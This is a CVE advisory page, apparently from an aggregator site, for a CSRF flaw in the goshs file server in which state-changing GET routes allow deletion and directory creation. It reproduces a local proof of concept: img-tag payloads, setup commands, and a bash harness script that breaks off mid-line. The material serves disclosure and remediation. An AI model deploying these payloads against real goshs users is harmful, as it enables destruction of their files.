🛡️ CVE-2026-40883 — goshs
Description
goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation
Summary
goshs contains a cross-site request forgery issue in its state-changing HTTP GET routes. An external attacker can cause an already authenticated browser to trigger destructive actions such as ?delete and ?mkdir because goshs relies on HTTP basic auth alone and performs no CSRF, Origin, or Referer validation for those routes. I reproduced this on v2.0.0-beta.5.
Details
The vulnerable request handling is reachable through normal GET requests:
httpserver/handler.go:118-123dispatches?mkdirdirectly tohandleMkdir()httpserver/handler.go:180-186dispatches?deletedirectly todeleteFile()
Authentication is enforced only by HTTP basic auth:
httpserver/middleware.go:20-87accepts any request that presents valid cached or replayed basic-auth credentials
The resulting state changes hit filesystem mutation sinks:
httpserver/handler.go:683-718callsos.RemoveAll()indeleteFile()httpserver/handler.go:961-1000callsos.MkdirAll()inhandleMkdir()
Because browsers can replay HTTP basic-auth credentials on subresource requests, an attacker-controlled page can embed:
<img src="http://127.0.0.1:18095/victim.txt?delete"><img src="http://127.0.0.1:18095/csrfmade?mkdir">
If the victim has already authenticated to goshs, those requests are treated as legitimate authenticated actions and the server mutates the filesystem.
PoC
Manual verification commands used:
Terminal 1
```bash
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
go build -o /tmp/goshs_beta5 ./
rm -rf /tmp/goshs_csrf_root /tmp/goshs_csrf_site
mkdir -p /tmp/goshs_csrf_root /tmp/goshs_csrf_site
printf 'delete me\n' > /tmp/goshs_csrf_root/victim.txt
cat > /tmp/goshs_csrf_site/delete.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/victim.txt?delete">
</body>
</html>
HTML
cat > /tmp/goshs_csrf_site/mkdir.html <<'HTML'
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:18095/csrfmade?mkdir">
</body>
</html>
HTML
/tmp/goshs_beta5 -d /tmp/goshs_csrf_root -p 18095 -b 'u:p'
```
Terminal 2
```bash
python3 -m http.server 18889 --directory /tmp/goshs_csrf_site
```
Victim actions:
1. Open http://127.0.0.1:18095/ in a browser and authenticate with u:p.
2. Visit http://127.0.0.1:18889/delete.html.
3. Visit http://127.0.0.1:18889/mkdir.html.
Two terminal commands I ran during local validation:
```bash
test -e /tmp/goshs_csrf_root/victim.txt && echo EXISTS || echo DELETED
test -d /tmp/goshs_csrf_root/csrfmade && echo CREATED || echo MISSING
```
Expected result:
- the first check prints
DELETED - the second check prints
CREATED
PoC Video 1:
https://github.com/user-attachments/assets/94b78934-0a70-479f-9b89-43a859939473
Single-script verification:
```bash
'/Users/r1zzg0d/Documents/CVE hunting/output/poc/gosh_poc3'
```
Observed script result:
Delete status: DELETEDmkdir status: CREATED[RESULT] VULNERABLE: attacker-controlled pages triggered authenticated state changes via GET
PoC Video 2:
https://github.com/user-attachments/assets/1143e039-81e4-4476-a1c3-f81ae46c9ede
gosh_poc3 script content:
```bash
#!/usr/bin/env bash
set -euo pipefail
REPO='/Users/r1zzg0d/Documents/CVE hunting/targets/goshs_beta5'
PLAY_DIR='/tmp/codex-playwright'
BIN='/tmp/goshs_beta5_csrf'
PORT='18095'
ATTACKER_PORT='18889'
CHROME='/Applications/Google Chrome.app/Contents/MacOS/Google Chrome'
WORKDIR="$(mktemp -d /tmp/goshs-csrf-beta5-XXXXXX)"
ROOT="$WORKDIR/root"
SITE="$WORKDIR/site"
GOSHS_PID=""
ATTACKER_PID=""
cleanup() {
if [[ -n "${ATTACKER_PID:-}" ]]; then
kill "${ATTACKER_PID}" >/dev/null 2>&1 || true
fi
if [[ -n "${GOSHS_PID:-}" ]]; then
kill "${GOSHS_PID}" >/dev/null 2>&1 || true
fi
}
trap cleanup EXIT
mkdir -p "$ROOT" "$SITE"
printf 'delete me\n' > "$ROOT/victim.txt"
cat > "$SITE/delete.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/victim.txt?delete">
</body>
</html>
HTML
cat > "$SITE/mkdir.html" <<HTML
<!doctype html>
<html>
<body>
<img src="http://127.0.0.1:${PORT}/csrfmade?mkdir">
</body>
</html>
HTML
echo "[1/6] Building goshs beta.5"
(cd "$REPO" && go build -o "$BIN" ./)
echo "[2/6] Starting goshs with HTTP basic auth"
"$BIN" -d "$ROOT" -p "$PORT" -b 'u:p' >"$WORKDIR/goshs.log" 2>&1 &
GOSHS_PID=$!
for _ in $(seq 1 40); do
if curl -s -u u:p "http://127.0.0.1:${PORT}/" >/dev/null 2>&1; then
break
fi
sleep 0.25
done
echo "[3/6] Serving attacker pages"
python3 -m http.server "$ATTACKER_PORT" --directory "$SITE" >"$WORKDIR/attacker.log" 2>&1 &
ATTACKER_PID=$!
if [[ ! -d "$PLAY_DIR/node_modules/playwright-core" ]]; then
mkdir -p "$PLAY_DIR"
(cd "$PLAY_DIR" && npm install --no-save playwright-core >/dev/null)
fi
if [[ ! -x "$CHROME" ]]; then
echo "[ERROR] Chrome not found at $CHROME" >&2
exit 1
fi
echo "[4/6
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability high.
Affected software
CVE-2026-40883 is recorded against 3 packages.
- github.com/patrickhener/goshs
- github.com/patrickhener/goshs/v2
- goshs
Timeline and source
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/patrickhener/goshs | — | — |
| github.com/patrickhener/goshs/v2 | — | — |
| goshs | — | — |
References
Similar Threats
- High CVE-2026-54719
- Critical CVE-2026-64863
- Critical CVE-2026-62325
- Medium CVE-2026-66063
- Medium CVE-2026-66064
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Site Security Check
Is goshs part of your stack?
CVE-2026-40883 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.